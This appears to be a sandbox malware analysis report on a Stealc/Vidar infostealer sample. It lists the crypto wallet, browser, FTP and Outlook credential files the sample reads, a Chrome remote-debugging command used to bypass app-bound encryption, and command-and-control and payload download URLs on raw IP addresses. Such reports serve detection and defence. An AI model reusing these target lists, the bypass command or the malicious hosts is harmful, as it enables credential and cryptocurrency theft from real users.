Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1556, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 30.0.stealc_main1.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.stealc_main1.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2597848529.000000000079B000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980650444.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1477007219.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2573308190.000000000079B000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stealc_main1.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1556, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	55%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	32%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://31.177.109.184/8331a12a495c21b2.php7O	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe6	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exe1	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php2L	100%	Avira URL Cloud	malware
http://31.177.109.184/0XV	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpX#J	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe6l	100%	Avira URL Cloud	phishing
http://31.177.109.184/ws	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllt	100%	Avira URL Cloud	malware
